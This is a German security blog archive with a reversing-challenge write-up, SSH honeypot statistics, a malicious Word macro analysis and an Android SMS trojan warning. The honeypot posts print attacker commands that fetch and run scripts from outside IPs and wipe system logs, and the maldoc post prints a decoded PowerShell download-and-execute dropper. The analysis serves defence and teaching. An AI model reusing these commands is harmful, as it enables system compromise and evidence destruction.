Author Archives: Patrick

BND Reversing Challenge – Level 1

Das BND (Bundesnachrichtendienst) aus Deutschland hat eine Reversing Challenge mit drei Levels veröffentlicht. Ziel ist es, passende Talente zu finden:

Um Ihnen die Möglichkeit zu geben uns von Ihrer Qualifikation zu überzeugen, haben wir drei Aufgaben vorbereitet, die gestaffelt nach unterschiedlichen Schwierigkeitsgraden Ihre Analysefähigkeiten in diesem Bereich testen.

Ich habe zwar überhaupt keine Absicht für den BND in Deutschland zu Arbeiten, aber die Challenge habe ich mir trotz allem mal angeschaut und möchte hier mal kurz meine Lösung zum Level 1 vorstellen:

In Level 1 zielt das Spielbeispiel auf eine Ransomware ab. Hier bekommt man ein PE „evil.exe“ und ein Bild „Urlaubsphoto.png.crypt“. Um nun nicht einfach im blauen fischen zu müssen, und eine mögliche Verschlüsselung des Bildes zu erraten, schaut man sich zuerst mal die evil.exe an. Mit einem kurzen „strings“ auf das PE bekommt auch bereits erste hilfreiche Infos zur Art der Erstellung:

Synchronized
competition2.Form1.resources
competition2.Properties.Resources.resources
3System.Resources.Tools.StronglyTypedResourceBuilder
4.0.0.0
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
11.0.0.0
.NETFramework,Version=v4.5
FrameworkDisplayName
.NET Framework 4.5
competition2
Copyright 
  2016

Hier wird klar, dass es sich um eine .NET Applikation mit Visual Studio handeln muss. Also kann man sich super mit einem C#/.NET-Decompiler ans Werk machen. Bei mir war das z.B. ILSpy:

Selection_008

Wenn man den Code nun so durchschaut, so sieht man die folgende „Hauptmethode“:

private void button1_Click(object sender, EventArgs e)
{
	string text = this.textBox2.Text.Trim();
	if (text.Length < 3)
	{
		MessageBox.Show("Erst Code eingeben!");
		return;
	}
	if (!this.callCthulhu(text))
	{
		MessageBox.Show("Ohne gültigen Code geht hier nix weiter.");
		return;
	}
	OpenFileDialog openFileDialog = new OpenFileDialog();
	openFileDialog.Filter = "Crypted files (*.crypt)|*.crypt";
	if (openFileDialog.ShowDialog() == DialogResult.OK)
	{
		try
		{
			byte[] chi = File.ReadAllBytes(openFileDialog.FileName);
			byte[] bytes = this.invertGravity(chi);
			File.WriteAllBytes(openFileDialog.FileName.Substring(0, openFileDialog.FileName.Length - 6), bytes);
			MessageBox.Show("Okay, ist entschlüsselt.");
		}
		catch (Exception ex)
		{
			MessageBox.Show("Fehler! Und Du bist schuld: " + ex.Message);
		}
	}
}

Hier sieht man, dass erst der Input geprüft wird und dann eine Methode „callCthulhu“ aufgerufen wird, welcher die Überprüfung macht. Wenn alles stimmt, so kommt die Methode „invertGravity“ zum Einsatz, welche die Entschlüsselung zu handeln scheint.

Beginnen wir doch mal bei der Überprüfung:

private bool callCthulhu(string serial)
{
	bool result;
	try
	{
		TcpClient tcpClient = new TcpClient("127.0.0.1", 1337);
		byte[] bytes = Encoding.ASCII.GetBytes(serial);
		NetworkStream stream = tcpClient.GetStream();
		stream.Write(bytes, 0, bytes.Length);
		byte[] array = new byte[1024];
		string text = string.Empty;
		int count = stream.Read(array, 0, array.Length);
		text = Encoding.ASCII.GetString(array, 0, count);
		stream.Close();
		tcpClient.Close();
		bool flag = text.Trim().Equals(this.installLinux());
		result = flag;
	}
	catch (Exception ex)
	{
		MessageBox.Show("Kann mich nicht zu meinem Server verbinden.\nFehlermeldung: " + ex.Message);
		result = false;
	}
	return result;
}

Hier scheint man zu versuchen, sich auf 127.0.0.1:1337 zu verbinden, was natürlich nicht funktionieren wird, da die Applikation selbst nirgends einen Server startet. Ist aber auch gar nicht nötig, wir können das ja auch einfach auslassen 🙂

in Frage 1 müssen wir beantworten, was der Server nach erfolgreicher Verschlüsselung zurück gibt. Dies führt uns zu der Methode „installLinux“:

private string installLinux()
{
	string text = "The iron bank will have its due";
	return string.Concat(new string[]
	{
		text.Substring(0, 1).Replace('q', 'm').Replace('T', 'A').Replace('e', 'd').Replace('v', 's').Replace('r', 'L').Replace('i', 'a'),
		text.Substring(3, 1),
		text.Substring(13, 1).Replace('i', 'k').Replace('A', 'k').Replace('n', 'q').Replace(' ', 'L').Replace('y', 'd').Replace('v', 'f').Replace('m', 'a').Replace('m', 'e'),
		text.Substring(10, 1),
		text.Substring(7, 1),
		text.Substring(7, 1),
		text.Substring(4, 1),
		text.Substring(26, 1),
		text.Substring(25, 1),
		text.Substring(2, 1),
		text.Substring(5, 1),
		text.Substring(3, 1),
		text.Substring(10, 1),
		text.Substring(16, 1),
		text.Substring(14, 1),
		text.Substring(10, 1),
		text.Substring(5, 1).Replace('c', 'l').Replace('m', 'v').Replace('d', 'o').Replace('k', 'd').Replace('r', 'y').Replace('u', 'A').Replace('g', 'm'),
		text.Substring(26, 1),
		text.Substring(3, 1),
		text.Substring(13, 1).Replace('u', 's').Replace('q', 'A').Replace('k', 'a').Replace('f', 'g').Replace(' ', 'p').Replace('A', 'o').Replace('A', 'r').Replace('m', 'b'),
		text.Substring(10, 1),
		text.Substring(4, 1).Replace('g', 'k').Replace('h', 'p').Replace('i', 'y').Replace('f', 'x').Replace('t', 'g').Replace('j', ' ').Replace(' ', 'b'),
		text.Substring(26, 1),
		text.Substring(3, 1),
		text.Substring(1, 1),
		text.Substring(4, 1),
		text.Substring(26, 1),
		text.Substring(3, 1),
		text.Substring(28, 1),
		text.Substring(2, 1),
		text.Substring(9, 1),
		text.Substring(25, 1),
		text.Substring(26, 1)
	});
}

Ist ja schon fast zu einfach: Einfach die Methode herauskopieren und ausführen:

A Lannister always pays his depts

Super, nun wollen wir aber noch unsere Datei entschlüsselt haben, also schauen wir uns die Entschlüsselungsmethode an:

private byte[] invertGravity(byte[] chi)
{
	if (chi.Length % 2 != 0)
	{
		throw new Exception("Verschlüsselte Datei hat falsche Länge oder so.");
	}
	byte[] array = new byte[chi.Length / 2];
	for (int i = 0; i < array.Length; i++)
	{
		array[i] = Math.Min(chi[i * 2], chi[i * 2 + 1]);
	}
	return array;
}

Natürlich kann man einfach in C# auch diese Methode auf die Datei anwenden, doch das war mir irgendwie zu langweilig… Ausserdem bin ich gerade unter Linux unterwegs und wollte die Gelegenheit nutzen, das neu veröffentlichte Powershell unter Linux auszuprobieren. Also habe ich mich daran gemacht, die Statements in Powershell zu übersetzen.
Zuerst brauchen wir ein Byte-Array mit dem verschlüsselten Bild und dessen Länge:

[byte[]]$bytes = Get-Content ./Urlaubsphoto.png.crypt -Encoding Byte
echo $bytes.Length

Nun wissen wir, dass Array ist 101706 Bytes lang, also erstellen wir ein neues Array mit der Hälfte der Grösse:

$array = New-Object Byte[] 50853

Nun wenden wir die Decrypt-Funktion an und schreiben alles in ein Bild raus:

for ($i=0; $i -lt $array.Length; $i++) { 
	$array[$i] = [math]::min($bytes[$i*2], $bytes[$i*2+1])
}
[io.file]::WriteAllBytes('out.png', $array)

Et voilà, raus kommt das gewünschte Bild:

out

Honeypot Project – Auswertung #2

Nun, nach knapp 2 Monaten an Laufzeit für meinen SSH-Honeypot, möchte ich nochmals kurz Bilanz ziehen und schauen, was so gegangen ist in letzter Zeit.

Aktuell hat mein Honeypot fast 40k Verbindungen erfasst von über Eintausend IPs:

Anzahl Verbindungen: 40’127
Anzahl Uniq-IP: 1’053

Da ich viele der bekanntesten Passwörter wie „root“, „toor“, „password“, etc. filtere waren auch nicht alle Logins erfolgreich:

Anzahl Passwörter: 66’893
Anzahl erfolgreiche Logins: 3’670

Doch all jene, welche durchgekommen sind, haben sich auch gleich umgesehen:

Anzahl CMD: 2’688

Die Grosszahl der Befehle, welche abgesetzt werden, dienen dem Nachladen von weiteren Scripten:

cd /var/ || cd /tmp/ || cd /var/run || cd /var/tmp/ || cd /dev/ || cd /mnt/
busybox wget http://64.95.100.88/.fagbin.sh || wget http://64.95.100.88/.fagbin.sh
busybox bash .fagbin.sh || sh .fagbin.sh
rm -rf .fagbin.sh
busybox tftp -r .fagbin2.sh -g 64.95.100.88 || tftp -r .fagbin2.sh -g 64.95.100.88
busybox bash .fagbin2.sh || sh .fagbin2.sh
busybox tftp 64.95.100.88 -c get .fagbin3.sh || tftp 64.95.100.88 -c get .fagbin3.sh
busybox bash .fagbin3.sh || sh .fagbin3.sh
rm -rf .fagbin2.sh .fagbin3.sh .fagbin.sh

Aber auch Testskripte für Speedtests sehe ich immer öfters. Hier soll der Server wohl als DDoS-Bot dienen. Nur sehr selten sieht man etwas komplexere Versuche:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH
history -n
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
rm -rf /var/log/wtmp
rm -rf /var/log/lastlog
rm -rf /var/log/secure
rm -rf /var/log/xferlog
rm -rf /var/log/messages
rm -rf /var/log/syslog
rm -rf /var/run/utmp
touch /var/run/utmp
touch /var/log/messages
touch /var/log/wtmp
touch /var/log/messages
touch /var/log/xferlog
touch /var/log/secure
touch /var/log/lastlog
rm -rf /var/log/maillog
touch /var/log/maillog
rm -rf /root/.bash_history
touch /root/.bash_history
history -r
rm -rf /var/spool/mail/root

cd /tmp
wget http://212.154.211.81/j.txt
curl -O http://212.154.211.81/j.txt
fetch http://212.154.211.81/j.txt
lwp-download http://212.154.211.81/j.txt
perl j.txt 113.30.102.54
rm -rf *.txt
uname
free -m
cat /proc/cpuinfo
cat /etc/issue

Wer das Projekt auch verfolgen möchte, der kann das hier machen.

Neues Maldoc mit Substring-Obfuscation

Die Anzahl an Maldoc hat in letzter Zeit doch merklich zugenommen. Während sich die Emails der Versender, sowie der Inhalt der Dokumente immer weiterentwickeln, so bleiben die Schadcodes und Dropper mehr oder weniger stehen.

Fast immer gibt es ein Maldoc mit 2 Makros, einmal eine Entschleierungsfunktion und einmal der verschleierte Payload. So ist das auch bei folgendem Beispiel, welches mir zugesandt wurde:

MD5 8252487d2868460e543b06b08ab3fa35
SHA1 d510b7384b7e8ce3fa887f18d10f3dbd14cbf0ed
SHA256 440f976f1dc767acfc763f2c4df4d5a97819093e15e5f1cea25e4f92907abaa8

Im Dokument eingebettet die bekannten beiden Makros:

A: word/vbaProject.bin
 A1:       481 'PROJECT' aea827326f40d9b37ee04b2657304f8c
 A2:        65 'PROJECTwm' 22638e81fa887fedca797e15983097dd
 A3: M    1537 'VBA/Module1' 97554cc9b8aceb0c8f2fc7f41337db8f
 A4: M    6920 'VBA/ThisDocument' b9f2d3ed04e381a2127b79665d9d11b8
 A5:      3799 'VBA/_VBA_PROJECT' 28bd9d3afac2ad580dfd357e0373f231
 A6:       826 'VBA/dir' c41d9be1ff47107f96813bb0716bf127
B: word/activeX/activeX1.bin
 B1:        26 '\x03OCXNAME' 52091629f4ec3595fe17f5d3a4233d61
 B2:         6 '\x03ObjInfo' e28252a4dfe8cb4ca7c63a6e6a67d61e
 B3:        94 'Contents' 9a03dc7f52538eaf7489a2c9b4ea3973

Beim Durchschauen des Codes fällt dann auch sofort die Verschleierung auf:

oLxb = s("woebFeceF-hempmS/)ieN.p-eaj)otxoy(oe)oN=i.y.beniI tP)DhNn:-atjimt(ictN :ect;preSuOlte.n e.s$mm$fe[cWsbCm'eO$)a;
o]elGOdTelp 'lotaW/(rh(tewhtblicEcScctf/.fftSeetil.,n.f.t(w:", 949, 1597)

Vom Look and Feel sieht die Funktion aus wie ein Substring oder so. Also nimmt man sich mal die Funktion s(), und schaut mal was die genau macht, bis man irgendwann auf folgenden Algorithmus kommt:

Function decrypt(ByVal strCrypt As String, ByVal intStart As Integer, ByVal intEnd As Integer) As String
    intMod = intStart Mod Len(strCrypt)
    Do While Len(decrypt) < Len(strCrypt)
        decrypt = decrypt & Mid(strCrypt, intMod + 1, 1)
        intMod = (intMod + intEnd) Mod Len(strCrypt)
    Loop
End Function

Nun filtert man noch alle Aufrufe der entsprechenden Funktion und kann sich so die verschleierten Strings anzeigen lassen und nach interessantem filtern. Es muss sich sicherlich mal um ein Powershell-Script handeln, denn aus:

rd inmpso-dPaahwEdonseSxeldslteni  lyc cp-.lu-yoWeetc wix ioBeneHomy

wird ganz plötzlich:

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -command

Und auch weitere Files sollen nachgeladen werden, denn aus:

woebFeceF-hempmS/)ieN.p-eaj)otxoy(oe)oN=i.y.beniI tP)DhNn:-atjimt(ictN :ect;preSuOlte.n e.s$mm$fe[cWsbCm'eO$)a;o]elGOdTelp 'lotaW/(rh(tewhtblicEcScctf/.fftSeetil.,n.f.t(w:

wird nun:

$f=[System.IO.Path]::GetTempFileName();
(New-Object System.Net.WebClient).DownloadFile('hXXp://thereputationco.com/office.bin', $f);
(New-Object -com WScript.Shell).Exec($f)

Und so weiter:

WinHttp.WinHttpRequest.5.1
https://wtfismyip.com/json
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Das Bin-File, welches heruntergeladen wird, wird zwar selbst nicht erkannt, ist aber bekannt im Zusammenhang mit Angler EK und Cryptowall

Android Trojaner als Post-App via SMS

Aktuell kursiert im Schweizer Mobilfunknetz ein Android-Trojaner getarnt als verpasstes Post-Paket:

image

Hinter dem Short-Link steht der Link zu einer APK-Datei, welche sich als Post-App ausgibt.

image

Am Ende ist es jedoch ein einfacher Trojaner:

image

Dies wird auch schnell klar, wenn man sich die App mal genauer anschaut. So verschafft sich das Ding ganz schön viele Berechtigungen, die jeden Smartphone-User hellhörig werden lassen sollten:

image

Am Besten ist es, die SMS zu löschen und sofort zu vergessen!

Honeypot Project – Auswertung

Mein Honypot ist nun knappe 10 Tage gelaufen und es ist Zeit für eine erste Auswertung.

Insgesamt sind fast 200 Uniq-IPs im Honeypot aufgeschlagen und haben zusammen ca. 28’500 Loginversuche ausgeführt – das sind rund 2 Passwortversuche pro Minute…

Davon waren aber gerade mal 434 erfolgreich (ich habe die bekanntesten Passwörter weggefiltert und die bereits erfolgreichen jeweils dem Exclude immer wieder ergänzt) und nur 131 haben tatsächlich ein Kommando auf dem System abgesetzt. Die am Meisten genutzten Kommandos sind erwartungsgemäss:

cmd

Dabei scheint es die meisten zu interessieren, wo sie sind und wie sie mit der Aussenwelt verbunden sind und erst dann lädt man sich mit wget neue Daten nach, macht ja auch nur so rum Sinn 🙂

Wenn man sich nun mal die benutzten Kombinationen anschaut, so fällt auf, dass die Standards wie „root/root“ oder „root/password“ zwar noch in den Top 15 dabei sind, jedoch nicht mehr ganz vorne dabei. Viel beliebter scheint „root/*“ zu sein:

passwoerter

Wenn man die User gesondert anschaut, so zeigt sich das übliche Bild:

user

Bei den Passwörtern hingegen kam für mich wieder die nächste Überraschung:

user_pw

Hier sind wieder Passwörter wie „*“ oder „**“ vorne dabei. Sehr spannend fand ich das Passwort „<b,bujY“. Dies scheint mir irgendwie viel zu spezifisch, als dass dies bei einer Brute-Force passen könnte… Vielleicht das Standardpasswort einer verbreiteten Software?

« Older Entries